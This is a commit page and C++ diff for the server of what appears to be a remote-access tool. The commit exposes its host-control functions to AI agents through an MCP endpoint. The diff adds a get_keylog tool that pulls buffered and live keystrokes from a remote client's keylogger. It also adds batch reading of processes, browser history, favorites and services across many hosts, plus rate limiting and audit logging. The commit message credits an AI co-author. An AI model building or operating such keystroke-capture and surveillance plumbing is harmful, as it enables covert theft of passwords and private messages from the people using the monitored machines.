Feature: Add offline hosts, batch reads and MCP hardening
Expose hosts the server already knows about. list_all_hosts enumerates both live contexts and the historical records in the client list, with authStatus as a three-state string instead of a boolean. search_hosts now honours online=false instead of returning an empty list, while the default stays online-only so existing callers see the same results. get_host_detail falls back to the last known record for an offline host rather than failing with -32002. Let read-only tools take an ids array of up to 50 hosts in one call. The batch path reuses the single-host dispatcher and pages per host, so behaviour cannot drift; write tools reject ids with -32602 so a mistake cannot fan out across machines. Add get_keylog behind its own McpKeylog switch. It drives the client's existing keylogger sub-connection, accumulates the streamed text for a bounded window and byte cap, then closes the sub-connection and returns UTF-8 lines. The client pushes its buffered history first, so a result contains both history and fresh keystrokes; the tool description says so. Harden the endpoint. Failed bearer checks are counted per source IP and ten failures within a minute block the IP for fifteen minutes. Auth failures and tool calls append to logs\mcp_audit.log with metadata only: no token, no arguments, no response bodies, and rotation at 5 MB. Loopback sources are audited but never blocked, because the built-in frp tunnel makes every remote request arrive from 127.0.0.1 and banning that address would lock out legitimate clients along with the attacker. Give list-style tools one pagination contract (limit/offset plus total/totalAll/hasMore) and fix the generated schemas so id and ids are genuine alternatives: the stale required:[id] left over from the single-host schema would otherwise reject ids-only calls. Co-Authored-By: deepseek-flash
This commit is contained in:
1 parent
cc0e4bbd7a
commit
ac5b174b5f
12 files changed
+1191
-86
No files matched your search
@@ -55,6 +55,9 @@ const int kSessionDeadlineMs = 60000;
|
||||
// 单个包的上限:正常列表远小于此;超过即视为异常,置 clientError 并断开子连接。
|
||||
const size_t kMaxPacketBytes = 8u * 1024u * 1024u;
|
||||
|
||||
// N3 键盘记录:一次 get_keylog 最多累积的击键字节(超出部分丢弃并置 truncated)。
|
||||
const size_t kKeylogMaxBytes = 256u * 1024u;
|
||||
|
||||
const size_t kConnRecordSize = sizeof(ConnectionInfo);
|
||||
static_assert(sizeof(ConnectionInfo) == 110, "ConnectionInfo layout changed; update the parser");
|
||||
static_assert(sizeof(WINDOWSINFO) == 1044, "WINDOWSINFO layout changed; update the parser");
|
||||
@@ -970,6 +973,7 @@ std::string NotFoundJson(const Json::Value& id, const std::string& what) {
|
||||
bool CMcpServer::KindAcceptsToken(PendingKind kind, BYTE token) {
|
||||
if (kind == PendingKind::Machine) return token == (BYTE)TOKEN_SYSINFOLIST;
|
||||
if (kind == PendingKind::ConnMgr) return token == (BYTE)TOKEN_CONNECTION_LIST;
|
||||
if (kind == PendingKind::Keylog) return token == (BYTE)TOKEN_KEYBOARD_START;
|
||||
return false;
|
||||
}
|
||||
|
||||
@@ -1015,6 +1019,36 @@ bool CMcpServer::BeginConnMgrSession(uint64_t device_id, const std::string& tool
|
||||
return BeginManagedSession(device_id, tool, PendingKind::ConnMgr, mainCtx);
|
||||
}
|
||||
|
||||
// ===== N3:键盘记录会话 =====
|
||||
|
||||
bool CMcpServer::BeginKeylogSession(uint64_t device_id, const std::string& tool, context* mainCtx) {
|
||||
return BeginManagedSession(device_id, tool, PendingKind::Keylog, mainCtx);
|
||||
}
|
||||
|
||||
CMcpServer::KeylogWaitResult CMcpServer::WaitKeylogData(uint64_t device_id, std::string& out,
|
||||
int timeoutMs, bool& truncated) {
|
||||
std::unique_lock<std::mutex> lk(m_PendingMutex);
|
||||
auto deadline = std::chrono::steady_clock::now() + std::chrono::milliseconds(timeoutMs);
|
||||
for (;;) {
|
||||
auto it = m_Pending.find(device_id);
|
||||
if (it == m_Pending.end() || it->second.kind != PendingKind::Keylog)
|
||||
return KeylogWaitResult::Closed;
|
||||
|
||||
PendingRequest& r = it->second;
|
||||
if (!r.keylogBuf.empty()) {
|
||||
out.swap(r.keylogBuf); // out 拿到数据;r.keylogBuf 变成 out 的旧内容
|
||||
r.keylogBuf.clear();
|
||||
truncated = r.keylogTruncated;
|
||||
return KeylogWaitResult::Ok;
|
||||
}
|
||||
if (r.closed) return KeylogWaitResult::Closed;
|
||||
|
||||
if (deadline > r.deadline) deadline = r.deadline;
|
||||
if (std::chrono::steady_clock::now() >= deadline) return KeylogWaitResult::Timeout;
|
||||
m_PendingCv.wait_until(lk, deadline);
|
||||
}
|
||||
}
|
||||
|
||||
void CMcpServer::ArmManagedResponse(uint64_t device_id, BYTE expectedToken) {
|
||||
std::lock_guard<std::mutex> lk(m_PendingMutex);
|
||||
auto it = m_Pending.find(device_id);
|
||||
@@ -1040,7 +1074,8 @@ CMcpServer::ManagedWaitResult CMcpServer::WaitManagedPacket(uint64_t device_id,
|
||||
if (it == m_Pending.end()) return ManagedWaitResult::Closed;
|
||||
|
||||
PendingRequest& r = it->second;
|
||||
if (r.kind != PendingKind::Machine && r.kind != PendingKind::ConnMgr)
|
||||
if (r.kind != PendingKind::Machine && r.kind != PendingKind::ConnMgr &&
|
||||
r.kind != PendingKind::Keylog)
|
||||
return ManagedWaitResult::Closed;
|
||||
|
||||
subCtxOut = r.subCtx; // 绑定可能发生在等待期间
|
||||
@@ -1083,7 +1118,8 @@ void CMcpServer::EndManagedSession(uint64_t device_id, bool cancelIo, bool markO
|
||||
return;
|
||||
}
|
||||
PendingRequest& r = it->second;
|
||||
if (r.kind != PendingKind::Machine && r.kind != PendingKind::ConnMgr) return;
|
||||
if (r.kind != PendingKind::Machine && r.kind != PendingKind::ConnMgr &&
|
||||
r.kind != PendingKind::Keylog) return;
|
||||
|
||||
sub = r.subCtx;
|
||||
kind = r.kind;
|
||||
@@ -1115,7 +1151,8 @@ bool CMcpServer::OnManagedSubPacket(context* subCtx, const BYTE* data, ULONG len
|
||||
|
||||
BYTE token = data[0];
|
||||
bool readyToken = (token == (BYTE)TOKEN_SYSINFOLIST) ||
|
||||
(token == (BYTE)TOKEN_CONNECTION_LIST);
|
||||
(token == (BYTE)TOKEN_CONNECTION_LIST) ||
|
||||
(token == (BYTE)TOKEN_KEYBOARD_START);
|
||||
// 快速路径:没有已绑定/已吸收的子连接,且不是就绪包 → 与 P8 无关。
|
||||
// MessageHandle 每个包都会调用本函数(含音频/屏幕等高频子连接),不能逐包抢锁。
|
||||
if (!readyToken && m_ManagedRoutes.load(std::memory_order_relaxed) == 0) return false;
|
||||
@@ -1134,7 +1171,9 @@ bool CMcpServer::OnManagedSubPacket(context* subCtx, const BYTE* data, ULONG len
|
||||
uint64_t dev = bindIt->second;
|
||||
auto it = m_Pending.find(dev);
|
||||
if (it == m_Pending.end() ||
|
||||
(it->second.kind != PendingKind::Machine && it->second.kind != PendingKind::ConnMgr)) {
|
||||
(it->second.kind != PendingKind::Machine &&
|
||||
it->second.kind != PendingKind::ConnMgr &&
|
||||
it->second.kind != PendingKind::Keylog)) {
|
||||
// 会话已结束但包还在路上:吸收并断开
|
||||
m_SubCtxToDevice.erase(bindIt);
|
||||
m_AbsorbedSubCtx.insert(subCtx);
|
||||
@@ -1159,6 +1198,19 @@ bool CMcpServer::OnManagedSubPacket(context* subCtx, const BYTE* data, ULONG len
|
||||
m_PendingCv.notify_all();
|
||||
return true;
|
||||
}
|
||||
if (r.kind == PendingKind::Keylog) {
|
||||
// N3:击键流是「累积」而非「一问一答」,任何包都不回 MFC;
|
||||
// 只收 TOKEN_KEYBOARD_DATA(首字节之后即文本),累积到上限后丢弃并置 truncated。
|
||||
if (token == (BYTE)TOKEN_KEYBOARD_DATA && len > 1) {
|
||||
size_t n = (size_t)(len - 1);
|
||||
size_t room = r.keylogBuf.size() < kKeylogMaxBytes
|
||||
? kKeylogMaxBytes - r.keylogBuf.size() : 0;
|
||||
if (n > room) { n = room; r.keylogTruncated = true; }
|
||||
if (n > 0) r.keylogBuf.append((const char*)data + 1, n);
|
||||
m_PendingCv.notify_all();
|
||||
}
|
||||
return true;
|
||||
}
|
||||
if (r.expectedToken != 0 && token == r.expectedToken) {
|
||||
r.response.assign(data, data + len);
|
||||
r.hasResponse = true;
|
||||
@@ -1179,8 +1231,9 @@ bool CMcpServer::OnManagedSubPacket(context* subCtx, const BYTE* data, ULONG len
|
||||
if (!readyToken) return false;
|
||||
if (mainIsSelf) return false;
|
||||
|
||||
PendingKind wantKind = (token == (BYTE)TOKEN_SYSINFOLIST) ? PendingKind::Machine
|
||||
: PendingKind::ConnMgr;
|
||||
PendingKind wantKind = (token == (BYTE)TOKEN_SYSINFOLIST) ? PendingKind::Machine
|
||||
: (token == (BYTE)TOKEN_CONNECTION_LIST) ? PendingKind::ConnMgr
|
||||
: PendingKind::Keylog;
|
||||
|
||||
// 3a. 按 clientID 精确匹配(新客户端经 TOKEN_CONN_AUTH 已钉 ID)
|
||||
uint64_t boundDev = 0;
|
||||
@@ -1267,7 +1320,8 @@ void CMcpServer::OnManagedContextClosed(context* subCtx) {
|
||||
|
||||
for (auto& kv : m_Pending) {
|
||||
PendingRequest& r = kv.second;
|
||||
if (r.kind != PendingKind::Machine && r.kind != PendingKind::ConnMgr) continue;
|
||||
if (r.kind != PendingKind::Machine && r.kind != PendingKind::ConnMgr &&
|
||||
r.kind != PendingKind::Keylog) continue;
|
||||
if (r.subCtx == subCtx || r.mainCtx == subCtx) {
|
||||
Mprintf("[MCP-P8] context closed dev=%llu tool=%s: wake waiter\n",
|
||||
kv.first, r.tool.c_str());
|
||||
@@ -2593,6 +2647,22 @@ Json::Value ReadInputSchema(Json::Value props) {
|
||||
return MakeSchema(props, { "id" });
|
||||
}
|
||||
|
||||
// 只读工具公共 input:id / ids 二选一 + 分页(批量调用,N2)
|
||||
Json::Value ReadInputSchemaBatch(Json::Value props) {
|
||||
Json::Value schema = ReadInputSchema(props);
|
||||
AppendBatchIdsProp(schema["properties"]);
|
||||
MakeIdOrIdsRequired(schema);
|
||||
return schema;
|
||||
}
|
||||
|
||||
// 只有 id/ids、没有分页的只读工具(host_get_hosts_file 用 max_bytes 控大小)
|
||||
Json::Value IdOrIdsSchema(Json::Value props) {
|
||||
AppendBatchIdsProp(props);
|
||||
Json::Value schema = MakeSchema(props, {});
|
||||
MakeIdOrIdsRequired(schema);
|
||||
return schema;
|
||||
}
|
||||
|
||||
} // namespace
|
||||
|
||||
bool Handles(const std::string& toolName) {
|
||||
@@ -2630,7 +2700,7 @@ void AppendTools(Json::Value& tools) {
|
||||
props["state"] = PropStr(u8"按状态过滤:数字(MIB_TCP_STATE_*)或状态名子串,如 ESTABLISHED");
|
||||
AddTool(tools, "list_network_connections",
|
||||
u8"列出指定在线 Windows 主机的 TCP/UDP 连接(相当于「连接管理」对话框)。返回四元组、所属进程与 TCP 状态;killable=true 表示该连接可被 kill_network_connection 断开。",
|
||||
ReadInputSchema(props), MakeListOutputSchema("connections", ConnectionItemSchema()));
|
||||
ReadInputSchemaBatch(props), MakeListOutputSchema("connections", ConnectionItemSchema()));
|
||||
}
|
||||
if (writable && mcp.IsManageEnabled()) {
|
||||
Json::Value props(Json::objectValue);
|
||||
@@ -2657,7 +2727,7 @@ void AppendTools(Json::Value& tools) {
|
||||
props["arch"] = PropStrEnum(u8"按架构过滤", { "x86", "x64" });
|
||||
AddTool(tools, "host_list_processes",
|
||||
u8"列出在线 Windows 主机的进程(主机管理「进程」标签页)。返回 PID、架构、窗口标题、路径、优先级、线程数、用户、工作集与文件大小。",
|
||||
ReadInputSchema(props), MakeListOutputSchema("processes", ProcessItemSchema()));
|
||||
ReadInputSchemaBatch(props), MakeListOutputSchema("processes", ProcessItemSchema()));
|
||||
}
|
||||
{
|
||||
Json::Value props(Json::objectValue);
|
||||
@@ -2665,7 +2735,7 @@ void AppendTools(Json::Value& tools) {
|
||||
props["title"] = PropStr(u8"按窗口标题子串过滤");
|
||||
AddTool(tools, "host_list_windows",
|
||||
u8"列出在线 Windows 主机上当前可见的顶层窗口(主机管理「窗口」标签页)。只包含可见窗口,故隐藏后窗口会从结果中消失。hwnd 可用于 host_control_window。",
|
||||
ReadInputSchema(props), MakeListOutputSchema("windows", WindowItemSchema()));
|
||||
ReadInputSchemaBatch(props), MakeListOutputSchema("windows", WindowItemSchema()));
|
||||
}
|
||||
{
|
||||
Json::Value props(Json::objectValue);
|
||||
@@ -2677,7 +2747,7 @@ void AppendTools(Json::Value& tools) {
|
||||
props["state"] = PropStr(u8"按状态子串过滤");
|
||||
AddTool(tools, "host_list_network_state",
|
||||
u8"列出在线 Windows 主机的网络连接及其所属进程(主机管理「网络状态」标签页)。数据来源与「连接管理」不同(这里是进程视角、含 UDP 的无对端标记);仅支持 IPv4 展示。",
|
||||
ReadInputSchema(props), MakeListOutputSchema("connections", NetStateItemSchema()));
|
||||
ReadInputSchemaBatch(props), MakeListOutputSchema("connections", NetStateItemSchema()));
|
||||
}
|
||||
{
|
||||
Json::Value props(Json::objectValue);
|
||||
@@ -2685,7 +2755,7 @@ void AppendTools(Json::Value& tools) {
|
||||
props["publisher"] = PropStr(u8"按发布者子串过滤");
|
||||
AddTool(tools, "host_list_software",
|
||||
u8"列出在线 Windows 主机已安装的软件(主机管理「软件」标签页,来自注册表 Uninstall 项)。只读;不提供卸载能力。",
|
||||
ReadInputSchema(props), MakeListOutputSchema("software", SoftwareItemSchema()));
|
||||
ReadInputSchemaBatch(props), MakeListOutputSchema("software", SoftwareItemSchema()));
|
||||
}
|
||||
{
|
||||
Json::Value props(Json::objectValue);
|
||||
@@ -2693,7 +2763,7 @@ void AppendTools(Json::Value& tools) {
|
||||
props["url"] = PropStr(u8"按 URL 子串过滤");
|
||||
AddTool(tools, "host_list_browser_history",
|
||||
u8"列出在线 Windows 主机的 IE 浏览历史(主机管理「浏览记录」标签页)。隐私数据,仅在显式开启主机管理时可见。",
|
||||
ReadInputSchema(props), MakeListOutputSchema("history", HistoryItemSchema()));
|
||||
ReadInputSchemaBatch(props), MakeListOutputSchema("history", HistoryItemSchema()));
|
||||
}
|
||||
{
|
||||
Json::Value props(Json::objectValue);
|
||||
@@ -2701,7 +2771,7 @@ void AppendTools(Json::Value& tools) {
|
||||
props["url"] = PropStr(u8"按 URL 子串过滤");
|
||||
AddTool(tools, "host_list_favorites",
|
||||
u8"列出在线 Windows 主机的 IE 收藏夹(主机管理「收藏夹」标签页)。隐私数据,仅在显式开启主机管理时可见。",
|
||||
ReadInputSchema(props), MakeListOutputSchema("favorites", FavoriteItemSchema()));
|
||||
ReadInputSchemaBatch(props), MakeListOutputSchema("favorites", FavoriteItemSchema()));
|
||||
}
|
||||
{
|
||||
Json::Value props(Json::objectValue);
|
||||
@@ -2710,7 +2780,7 @@ void AppendTools(Json::Value& tools) {
|
||||
props["start_type"] = PropStr(u8"按启动类型子串过滤,如 Auto");
|
||||
AddTool(tools, "host_list_win32_services",
|
||||
u8"列出在线 Windows 主机的 Win32 服务(主机管理「服务」标签页之一)。返回显示名、描述、状态、启动类型、登录身份、服务名与可执行路径;服务名可用于 host_control_service。",
|
||||
ReadInputSchema(props), MakeListOutputSchema("services", ServiceItemSchema()));
|
||||
ReadInputSchemaBatch(props), MakeListOutputSchema("services", ServiceItemSchema()));
|
||||
}
|
||||
{
|
||||
Json::Value props(Json::objectValue);
|
||||
@@ -2719,7 +2789,7 @@ void AppendTools(Json::Value& tools) {
|
||||
props["start_type"] = PropStr(u8"按启动类型子串过滤");
|
||||
AddTool(tools, "host_list_driver_services",
|
||||
u8"列出在线 Windows 主机的驱动服务(主机管理「服务」标签页之一)。字段同 host_list_win32_services。",
|
||||
ReadInputSchema(props), MakeListOutputSchema("services", ServiceItemSchema()));
|
||||
ReadInputSchemaBatch(props), MakeListOutputSchema("services", ServiceItemSchema()));
|
||||
}
|
||||
{
|
||||
Json::Value props(Json::objectValue);
|
||||
@@ -2728,7 +2798,7 @@ void AppendTools(Json::Value& tools) {
|
||||
props["status"] = PropStr(u8"按状态子串过滤,如 Ready / Disabled");
|
||||
AddTool(tools, "host_list_scheduled_tasks",
|
||||
u8"列出在线 Windows 主机的计划任务(主机管理「计划任务」标签页)。返回任务名、完整路径、所在文件夹、可执行文件、状态与上次/下次运行时间。任务名 + folder 可用于 host_control_task。",
|
||||
ReadInputSchema(props), MakeListOutputSchema("tasks", TaskItemSchema()));
|
||||
ReadInputSchemaBatch(props), MakeListOutputSchema("tasks", TaskItemSchema()));
|
||||
}
|
||||
{
|
||||
Json::Value props(Json::objectValue);
|
||||
@@ -2755,7 +2825,7 @@ void AppendTools(Json::Value& tools) {
|
||||
|
||||
AddTool(tools, "host_get_hosts_file",
|
||||
u8"读取在线 Windows 主机的 hosts 文件(主机管理「HOSTS」标签页),按行返回并自动识别 UTF-8/GBK。只读;不提供写入能力。",
|
||||
MakeSchema(props, { "id" }), out);
|
||||
IdOrIdsSchema(props), out);
|
||||
}
|
||||
|
||||
// ---- 主机管理:4 个写工具(只读 + 可恢复操作) ----
|
||||
|
||||
Reference in new issue
Block a user